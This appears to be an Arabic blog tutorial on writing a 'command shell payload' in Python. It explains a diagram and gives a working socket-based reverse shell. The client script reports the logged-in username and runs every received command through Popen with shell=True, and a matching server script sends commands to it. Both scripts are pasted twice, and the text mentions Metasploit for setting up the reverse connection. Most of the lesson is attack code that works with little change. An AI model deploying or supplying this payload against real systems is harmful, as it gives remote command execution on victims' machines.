مقدمة
درسنا اليوم هو command shell Payload أي كيف نبرمج بيلود عبر socket أو low level وظيفته يفتح لنا اتصال بينه و بين command execution.تأملوا الصورة التالية
شرح مافي الصورة
نرى في الصورة نظام تشغيل os و على جانبه يوجد بيلود, اي يعني أن السطر الاسود المتصل بين النظام و البيلود هو الاتصال الدائم بينهما و الخط الأحمر هو ارسال و استقبال فيما بينهما, و آلية عمل هذا البيلود عبر مرحلتين و هي عن طريق سيرفر و السيرفر يتبع الـ handling أي على اتم الجاهزية لأستقبال اي اتصال به و بعده ارسلنا client الذي عبرناه كـ payload و ارسلناه إلى نظام التشغيل و عند تشغيل هذا البيلود سوف يتصل بـ command execution وبعدها بدأت عملية الاتصال بنجاح بالارسال و الأستقبال.لرؤية شرح هذه الصورة على يوتيوب بشكل اوضح اضغط على الزر مشاهدة👇👇👇
لنأخذ سكربت لأنشاء بايلود في بايثون
ملف client
import socket
from subprocess import PIPE , Popen
import os
#my client
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",5555))
s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
while True:
command = s.recv(3500).decode("utf-8")
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
if p.communicate()[0] == ''.encode('utf-8'):
s.send(p.communicate()[1])
else:
print(s.send(p.communicate()[0]))
except socket.error as e:
print(e)
from subprocess import PIPE , Popen
import os
#my client
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("127.0.0.1",5555))
s.send("the clinet user is {0}".format(os.getlogin()).encode("utf-8"))
while True:
command = s.recv(3500).decode("utf-8")
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True)
if p.communicate()[0] == ''.encode('utf-8'):
s.send(p.communicate()[1])
else:
print(s.send(p.communicate()[0]))
except socket.error as e:
print(e)
ملف server
import socket
#my server
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("127.0.0.1",5555))
s.listen(5)
client , addr = s.accept()
print("connection from {0}:{1}".format(addr[0],addr[1]))
while True:
data = client.recv(500000)
print(data.decode("utf-8"))
command = str(input(" < command > "))
client.send(command.encode("utf-8"))
except socket.error as e:
print(e)
#my server
try:
s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.bind(("127.0.0.1",5555))
s.listen(5)
client , addr = s.accept()
print("connection from {0}:{1}".format(addr[0],addr[1]))
while True:
data = client.recv(500000)
print(data.decode("utf-8"))
command = str(input(" < command > "))
client.send(command.encode("utf-8"))
except socket.error as e:
print(e)
شرح السكربت
الــ client
p = Popen(command,stdout=PIPE,stderr=PIPE,shell=True) و ارسلنا نتيجه الأمر عبر if p.communicate واستخدمنا الـ format .
الــ server
اضفنا تعديلات لسكربت السرفر بالدرس السابق while True يعني البدء في الأستقبال و الأرسال ووضعنا أمر الطباعه print فوقهو اضفنا {1} لمعرفة البورت و الهوست,و بعدها بدأنا بأستقبال الداتا عبر data = client.recv(500000) و 500000 تعني حجم حزمة الاستقبال وبعده قلنا اطبعه لنا بصيغة تكون غير صيغة encode binnary و تكون الصيغه utf-8 و بعده اعطينا امر آخر = input قد عملنا rec و طباعة, واعطيناه ارسال clint.send ارسلنا الأمر , يعني نرسل له الامر و استقبلها و بعده نرسل له من جديد.
لتشغيله
هنا اصبح الـ client هو البيلود الذي شرحناه في الصورة السابقة و يجب علينا هنا ان نستخدم هنا الميتاسبلويت, اول شي نفعله تشغيل الميتاسبلويت عبر الأمر msfconsole .........الخ.ليحصل اتصال عكسي عند تشغيله, نشغل اولاً السيرفر لأنتظار اتصال البيلود client عند الاتصال سيعرض لنا البورت و مستخدم الحاسب حسب الأمور الذي نكون قد وضعناها في السكربت.
تعليقات
إرسال تعليق